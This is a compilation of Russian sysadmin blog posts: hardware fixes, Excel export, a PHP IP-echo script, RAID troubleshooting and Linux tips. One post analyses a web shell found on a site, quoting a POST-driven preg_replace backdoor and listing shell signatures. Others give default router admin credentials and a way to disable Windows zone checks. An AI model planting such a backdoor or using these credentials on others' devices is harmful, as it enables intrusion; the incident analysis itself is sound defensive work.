серийные номера дисков в системе

Иногда надо вывести серийные номера дисков в системе, чтобы выявить сбойный

hdparm -I /dev/sd?|grep -E «Number|/dev»

Dell Vostro 5470 установка ОС

В общем мне достался Dell Vostro 5470 с процессором 4200U и Ubuntu на борту. на нем прицнипиально не работает загрузка с внешних накопителей/USB-приводов (UEFI on/off не влияет). Загрузка по PXE через сетевой адаптер также не производится, поскольку в режиме Legacy (отключенный UEFI Boot) он вообще не видит сеть, а в режиме UEFI он затыкается на получении адреса IPv6.
Прошивка BIOS, которая обычно помогает в таких ситуациях: я воткнул в него другой диск SATA, загрузил систему и обновил BIOS с версии 07 на 09. Ничего не поменялось.
Желаю компании Dell гореть в аду!

PS. Получается что систему можно поставить только подключив SATA-диск ноутбука к другому ПК и поставив туда чистый дистрибутив. Конечно можно заморочится и прописывать в UEFI Boot меню загрузки, но это во первых долго, во вторых надо обладать знаниями по настройке UEFI.

Экспорт (Export) from Excel to CSV UTF8

Довелось мне давеча испытать «легкое» разочарование при попытке экспортировать результаты из таблички Excel, содержащей в себе символы различных непонятных алфавитов. Идея такова, экспорт с Excel в UTF-8 есть только в виде txt файла, в csv оно не может (у меня 2007 офис стоит).

Для того чтобы их потом разбирать средствами php, мне надо utf-8. Что же делать…

Решение пришло не сразу, во-первых есть дельные советы на stackoverflow (link), но по ряду причин, мне они не подошли. Причины эти заключаются в том, что Google docs экспортирует результат csv с разделителями запятыми, при этом сами поля ничем не помечены (если это текст). А если поле содержит запятую, то потом в дальнейшем отделить их друг от друга очень проблематично.

Пришлось экспериментировать на ходу. Перед тем как загонять в Google Docs наш xlsx-файлик, прибавляем к каждой ячейке поля с двух сторон спецсимвол отделитель. Это может быть # или кавычки неважно. То есть создаем новые ячейки с указанием типа (=»#»&A1&»#») (подробное описание тут). Потом копируем их как значение в старое место и сохраняем как xlsx-файл. Теперь уже этот файл, загоняем в Google Docs с помощью импорта, а затем экспортируем наш csv в UTF-8.

 

 

Внешний IP адрес

Очень часто приходится работать в разных местах, поэтому не редко приходится узнавать свой внешний IP адрес с помощью всяких whatismyip.com

Очень хотелось что-то простое, быстрое, и для консоли. Подумав и погуглив, я написал совсем простой скрипт на php с использованием socket`ов

#!/usr/bin/env php

<?php

$socket = stream_socket_server(«tcp://0.0.0.0:23″, $errno, $errstr);

if (!$socket) {
die(«$errstr ($errno)\n»);
}

while ($connect = stream_socket_accept($socket, -1)) {
$ip=stream_socket_get_name($connect,true);
$ip=explode(«:»,$ip);
fwrite($connect, $ip[0]);
fclose($connect);
}

?>

Теперь сервер, при коннекте telnet клиента на стандартный 23 порт, выдает ему его же внешний IP. Просто, изящно, но тупо.

На написание (да чего уж там, основную часть я выдрал в наглую) меня вдохновила статья на хабре

http://habrahabr.ru/company/ifree/blog/209864/

Стоит отметить, что для не stream_socket, а обычных, выдается ошибка  »Transport endpoint is not connected in», которую я так и не смог побороть.

goldbrick и vBulletin

Случилось так, что мне на руки попал достаточно посещаемый форум. Но после переноса с одного сервера на другой, он постоянно загружал сервер. Путем нехитрых манипуляций с iotop (так как нагрузка шла именно на диск), было выявлено что плагин отвечающий за добавление изображение/медиафайлов и прочей шушеры, под названием GoldBrick выдавал тонну файлов в директорию Zend cache.

Отключив опцию Zend cache, которая кстати доступна в админке самого плагина, я думал что все будет хорошо и проблема исчезнет. Ан нет, теперь вместо нагрузки на диск, появилась огромная нагрузка на mysql.

Недолго думая и просмотрев статистику запросов в Mysql, было отмечено большое количество запросов вида «SELECT * FROM gb_cache where hash=» «. То есть опять таки, этот негодный плагин издевался на сервером Mysql, выдавая кучу таких запросов при каждом обращении к страницам форума. Конечно, сам форум vBulletin ни разу не блещет толковым кодом для работы с Mysql, ибо для генерации одной странички запрашивает базу более 15 раз, а если в посте находятся множество аттачей, то это число возрастает очень сильно, так как каждый аттач добавляет еще более 15 запросов + кривые скрипты для быстрого ответа. Ну да хрен с ним с vBulletin.

Для решения пустых запросов к БД, пришлось немножко подредактировать «класс» goldbrick, а именно в файле goldbrick/includes/class_goldbrick.php, необходимо было ввести лишь одну дополнительную проверку в функции check_existing.

сменив

return $this->registry->db->query_first(»
SELECT * FROM » . TABLE_PREFIX . «gb_cache WHERE hash = ‘$uniques’»);

на

if ($uniques!=»") {

return $this->registry->db->query_first(»
SELECT * FROM » . TABLE_PREFIX . «gb_cache WHERE hash = ‘$uniques’»);

}

Ведь в случае если cache отключен, переменной $uniques (формирование уникального ID для hash кэша) быть просто не может, но для каждой страницы он упорно пытался его достать из базы.

В сухом остатке, был uptime ~ 25, стал 2-3. Такие дела.

 

 

Кодировка и кракозябры

Взято тут: http://vk11.livejournal.com/826296.html#cutid1

Как отключить Wi-Fi от МГТС GPON на HG8245

Компания МГТС в Москве уже достаточно давно проводит акцию с подключением телефонов конечных клиентов с помощью технологии GPON. Вместе с этой технологией в квартиру владельца, за дополнительную плату может быть подведен и Интернет, благо GPON по сути своей и есть предоставление широкополосного доступа в глобальную сеть.
Подробнее можно почитать тут: http://www.mgts.ru/home/internet/gpon/technology/.
Но дело не в этом, в Интернете уже обсуждали тему ˜дырявости предоставленных для конечных клиентов устройств, например тут: http://habrahabr.ru/post/188454/.
Эту статью, я нашел уже после того как успешно подключился к своему Huawei EchoLife HG8245T (беленький такой) с помощью пароля админа по умолчанию — telecomadmin:admintelecom. Поскольку у меня уже давно есть провайдер Интернет, включенная точка доступа у HG8245T мешала нормальной работе моего маршрутизатора, и в один из вечеров я задался вопросом ее отключения. Я то по своей наивности думал, что инженеры МГТС при настройке меняют пароли и обеспечивают себе удаленный доступ…. Оказалось все просто, и любой человек с проводом, а иногда даже с беспроводным адаптером может войти в эти устройства от МГТС.
В общем суть такова, если кому надо отключить встроенный Wi-Fi на Huawei EchoLife HG8245T, смело цепляемся проводом к своему устройству. Заходим на него через http://192.168.100.1 под telecomadmin:admintelecom. И убираем галочку во вкладке WLAN с опции Enable Wlan. Вот и все, беспроводная сеть отключена, диапазон стал более свободен, мы стали более лучше одеваться и все такое.

Троянский конь. шелл на сайте

При переносе сайтов, случайно наткнулся на странные строки в логах, при обращении к одному из доменов.

Строка была вида:
File does not exist: путьксайту/AFQjCNHnh8RttFI3VMrBddYw6rngKz7KEA

Меня заинтересовала откуда такой запрос вообще может быть.
Начал копать, нашел интересные вещи, а именно :

Описание парня с Украины (http://vk.com/notes39605750), который описывал что нашел странный файл на сайте.
Кроме того, это цифробуквенное сочетание использовалось в одном интересном файле http://ideone.com/fOKz4V (по всей видимости управляющий или заливающий это говно файл)
Также код встречается тут http://pastebin.com/QCZ25nqF .
Посмотрев внимательно на сайт, я видел что там кучка файлов… с содержимым отсюда : http://pastebin.com/QCZ25nqF.
Замечательно подумал я, меня поломали, но как?
После того как я убрал файлы php c кодом (http://pastebin.com/QCZ25nqF), начали запросы на подбор пароля ftp этого пользователя (у которого сайт). поскольку они не увенчались успехом, я стал дальше мониторить ситуацию (хотя меня смутило что подбор осуществлять сам мой сервер!). И тут я наткнулся на еще один странный файл php (лежал в папке с картинками) с содержимым вида:

if (md5($_POST['p']) == ’15ab5b551217a532506f5ed95d005a1a’) {
preg_replace($_POST['v1'], $_POST['v2'], $_POST['v3']); }

Вот такая штука ко мне пришла:
rdot.org/forum/showthread.php?t=1085

Пришла эта штука ко мне не сама, а ее по всей видимости залили с сайтом, так время первого вхождения такого файла совпадает с временем размещения. Но возможно это произошло и потом. Причиной появления шелла, явился плагин ckeditor с кривой функцией upload.

Чтобы проверить сайт на шеллы пришлось изучить тьму файлов.
Часто встречающиеся функции и переменные, по которым можно поймать шелл:

свои функции php — php_display($remote)
функции js — eval(function(p,a,c,k,e,d)
добавленные в самый конец js-файлов — document.write
переменные вида — $auth_pass=
файлы с обращением к function_exists(‘file_put_contents’) и кучей дерьма вида x00\x00\x00\x00\x00\x00\x10\
файлы с for($o=0,$e=’&\’()*+,-.:]^_`{|,,,|-((.(*,|)`)&(_(*,+)` и далее по тексту

Codeo — сверхминималистичный аналог Pastebin

Codeo построен на базе CodeMirror, а поэтому может подсвечивать синтаксис 70 языков программирования, включая комбинированные варианты (например, HTML + PHP).

Кратко о особенностях:

    Пользователь может редактировать собственный код — содержимое обновится, а ссылка останется та же.
    Если пользователь редактирует чужой код, то автоматически создаётся новая ссылка.
    В верхнем правом углу есть кнопки для копирования в буфер обмена ссылки или самого кода.
    Кроме того там есть кнопка, позволяющая переключаться между короткими и длинными ссылками.
    Код, загруженный на Codeo, не удаляется после истечения срока давности.
    Сервис запоминает последний выбранный язык программирования и будет предлагать его при следующем визите.
    Выпадающий список языков сортируется по популярности — часто используемые языки всегда будут вверху.

(c) http://habrahabr.ru/post/203286/

Отличная, минималистичная штука. Не поленился и занес им 50 рублей.

Условие

Волк с тремя поросятами написал детектив «Три поросёнка—2″, а потом вместе с Красной Шапочкой и её бабушкой кулинарную книгу «Красная Шапочка-2″. В издательстве выдали гонорар за обе книжки поросёнку Наф-Нафу. Он забрал свою долю и передал оставшиеся 2100 золотых монет Волку. Гонорар за каждую книгу делится поровну между её авторами. Сколько денег Волк должен взять себе?

Решение

За книгу «Три поросёнка-2″ каждый автор должен получить четверть гонорара. Но так как Наф-Наф свою долю уже забрал, Волку причитается 1/3 остатка. За книгу «Красная шапочка-2″ ему также полагается 1/3 гонорара. Поэтому всего он должен получить треть переданной ему суммы.

Ответ

700 золотых монет.

Ошибка открытия файла Word и Excel

Столкнулся с проблемой открытия документов на одном из ноутбуков. Первый раз, при открытии файлов, выползает окно о том, что не найден путь. При этом повторное открытие происходит без проблем. Переустановка офиса в данном случае не помогает. Как оказалось, такую ошибку выдает одна из надстроек в Word и Excel. Лучше отключить для начала их все, что находятся тут:

Adaptec RAID 3405 и 5405

Шаманство с бубнами вокруг hardware контроллеров у меня успешно продолжается. На сей раз были проблемы с Adaptec 3405 и 5405.
Сначала на 3405 из рейда в течении дня стали отваливаться диски. Не один какой-то, а разные, какой захочет такой отвалится. Прошивка на рейде стояла последняя, диски тоже более менее новые WD RE4 2 Тбайт. Пляски вокруг сервера дали только отрицательный эффект, в какой-то момент контроллер вообще перестал загружаться при старте. Отключение дисков помогало загрузить контроллер, но дальше стало хуже и он перестал грузится вообще. Виснет на биосе своем и все тут. Грешили на контроллер, отдали по гарантии поменять. Arbyte выдал нам чуть поновее — Adaptec 5405.
Вроде радость, дали получше, ноне тут то было. При включении он опять вис. Также как и 3405. Я не поверил что такое может быть, так как проблема тогда уже в системной плате. Вытащил диски — загрузился. Вставляю диски, не грузится. Поочередно начал вставлять диски. В итоге нашел один «бракованный». С остальными тремя контроллер грузился на ура.
Подключил этот «бракованный» диск к стенду с X79 — плата отказывается грузится с ним, а при подключении на горячую вообще вываливается в синий экран. Ну думаю все хана диску, но все таки решил попытать счастья — подключил к X58. Стенд запустился, диск виден форматируется, все хорошо вроде с ним. SMART ошибки отсутствуют. Взял HDD Low Level Format Tool и поставил на ночь для этого диска. Результат превзошел все ожидания, ура ура подумал я. Контроллер теперь уже с четырьмя дисками успешно загрузился. Но….
При инициализации дисков… инициализировать можно было только один. Остальные подсвечены серым в меню выбора как инициализации, так и в меню создания рейда. Поиск в интернете дал результат — обновите прошивку диска. Но поскольку все диски были одинаковыми, то это точно не подходило. Я решил сделать Secure Erase Disk этих трех дисков, хотя они и горели красным при выборе. Процесс Secure Erase disk дал положительный результат, но при этом не обязательно ждать завершения операции, главное просто подождать минут 30. Потом отметить действие и диск сможет уже инициализироватся. Отмечу, что в моем случае была прошивка 5.2-0[18252] и у нее есть баг. Функция Secure Erase disk работает только с первым диском под номером 0, не смотря на возможный выбор диска (0,1,2,3) в меню. То есть надо физически переставить диск в первый слот корзины (если конечно все там подключено правильно). Вот такая вот ересня получается.

find and mount cdrom in CentOS

Все обленились. Однако иногда хочется более просто подмониторовать CD в linux.

нашел простое решение для CentOs и тому подобных

yum install wodim
wodim --devices

выведет примерно:

[[email protected] ~]# wodim --devices
wodim: Overview of accessible drives (1 found) :
-------------------------------------------------------------------------
0  dev='/dev/scd0'     rwrw-- : 'NECVMWar' 'VMware IDE CDR10'
-------------------------------------------------------------------------

ну а потом все как обычно

mount /dev/scd0 /media/cdrom

Unkown Publisher или неизвестный издатель

Эта дурацкая надпись появляется в том случае если программа не имеет цифровой подписи и запускается с сети (SMB/CIFS).

Ранее как то не хотелось решать эту проблему, но поскольку сейчас некоторые тесты с перезагрузками запускались с сетевого накопителя, пришлось срочно ее решать, чтобы автоматизировать процесс.

Существует много методов, одни из которых — добавление сервера в доверенную (trusted zone) зону. Но поскольку для моих задач необходимо универсальное средство, я выбрал другой путь, который опасен для обычных пользователей.

Решение простое, запускаем bat-ник, перед запуском самого приложения с сети (можно и в  autorun  винды)

setx SEE_MASK_NOZONECHECKS 0

setx SEE_MASK_NOZONECHECKS 1

Разборка ноутбука и усовершенствование системы охлаждения у Y650

Первым делом, переворачиваем ноутбук и откручиваем все винты которые есть. Также снимаем аккумуляторную батарею. (рисунок 1) Винтов много, но они все одинаковые по размеру, что очень удобно.

Первый шаг — снять черную панельку в самом верху. Она крепится просто на клипсах, поэтому стоит ее поддеть она достаточно легко поднимется вверх. Панелька имеет шлейф, поэтому не стоит ее тянуть.

Второй шаг — снятие клавиатуры. На рисунке 2, места дополнительных креплений клавиатуры выделены кружками с подписью 1. Чтобы отжать крепление, надо тонкой шлицевой отверткой нажать на них. При этом желательно поддевать другой отверткой саму клавиатуру.

После этих двух действий, поддеваем плоской отверткой места крепления шлейфов клавиатуры и панельки вверх (обозначены на втором рисунке под цифрой 3)

Следующее действие (рисунок 3). Снимаем крышку защиты модулей памяти, открутив два винта (обозначены цифрой 1). Также отключаем провода беспроводного модуля, и вытаскиваем их из корпуса ноутбука как показано на картинке (места креплений обозначены 2)

Чтобы снять белую крышку ноутбука (рисунок 4) Необходимо отсоединить четыре шлейфа обозначенные цифрой 1.

После этого мы получаем доступ к самой системной плате и системе охлаждения.

чтобы ее полностью снять, а это лучше всего сделать (заменить термопасту) надо открутить четыре винта крепления СО на процессоре (5 рисунок) и два винта крепления кулера (рисунок 6, позиция 3).

Также на рисунке 6 представлена модернизированная система охлаждения.

Рядом с цифрой один обычно находится пусто пространство, через которое дует вентилятор минуя и так маленький радиатор СО. Лучше его чем-то прикрыть, я сделал это кусочком губки.

Цифра два — это самая большая беда. Там находится дырка,между радиатором и вентилятором, и куда уходит значительная часть воздушного потока. Можно просто заклеить скотчем, но лучше проложить провод или что-то иное изолированное.

Cброс пароля на 3com 3900

When the product is started, type admin for logon and lanplex for password,

The product says that it clears the password. After the message appears ; to complet the clear password, restart the product within 60 seconds. So, you shut down the Psu and the product restart without password.

При загрузке свич предлагает 3 уровня доступа, чтобы получить самый высокий необходимо выбрать administrator — как тип входа и lanplex — как пароль. После этого появится надпись о том, что происходит стирание пароля. Далее после надписи to complet the clear password, restart the product within 60 seconds необходимо перезагрузить свич. После этого вход как administrator будет с пустым паролем.

Источник: http://nag.ru/projects/setup/35734/

Uploadify IO error 2038 http 412/413

Есть такой замечательный скрипт мульти-загрузки файликов на сервер uploadify.

Поставил его, вроде все работает. Однако, на больших файлах (более 10 Мбайт, а надо было 25) стала проявлятся ошибка. Файлики не закачивались.

После муторного просева гугла, выяснилос: необходимо прописать в файлике .htaccess такие параметры:

php_value post_max_size 35M

php_value upload_max_filesize 25M

php_value max_execution_time 600

php_value max_input_time 600

php_value memory_limit 128M

Иногда не срабатывает, потому как .htaccess должен лежать в папке с .swf  файлом, а еще лучше прописать в php.ini

С другой стороны, хотя ошибка #2038 (http 412) исчезла, появилась другая — http 413.

Эта проблема уже относится к вебсерверу:

в apache необходимо прописать

LimitRequestBody 25242880

Но у меня стоял еще nginx в качестве frontend, поэтому там необходимо было прописать:

client_max_body_size 25m;

proxy_send_timeout 120;

Теперь вроде все работает. mod_secure на который ссылаются многие по этой теме совершенно не причем.

CentALT Repo

для CentOS
rpm -Uvh http://centos.alt.ru/repository/centos/5/i386/centalt-release-5-3.noarch.rpm

после этого yum —enablerepo=CentALT install htop и т.п.

lower to upper linux

for d in `ls`; do cp «$d» «`echo $d|tr «[:lower:]» «[:upper:]«`»; done